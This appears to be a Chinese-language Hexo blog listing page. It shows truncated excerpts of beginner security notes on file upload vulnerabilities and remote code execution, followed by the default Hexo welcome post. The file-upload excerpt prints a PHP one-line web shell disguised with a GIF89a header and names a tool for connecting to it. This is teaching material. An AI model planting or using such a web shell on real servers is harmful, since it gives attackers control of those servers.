# 文件上传
顾名思义，就是往网站的服务器里去上传自己的东西，如果传入木马，即可控制服务器取得 shell 权限为所欲为。
一句话木马：
12345GIF89a<?php eval($_POST['a']);?>a可以是任何东西，这里的内容就是用蚁剑连接的密码
这里的 GIF89a 是 GIF 文件的签名 GIF 文件的标准头标记为 GIF89a ，表...
rce：远程代码执行
成因：在 Web 应用开发中为了灵活性、简洁性等会让应用调用代码执行函数或系统命令执行函数处理，若应用对用户的输入过滤不严，容易产生远程代码执行漏洞或系统命令执行漏洞；
# 系统命令执行函数
system ()：能将字符串作为 OS 命令执行，且返回命令执行结果；
exec ()：能将字符串作为 OS 命令执行，但是只返回执行结果的最后一行 (约等于无回显)；
shel...
Welcome to Hexo! This is your very first post. Check documentation for more info. If you get any problems when using Hexo, you can find the answer in troubleshooting or you can ask me on GitHub.
# ...
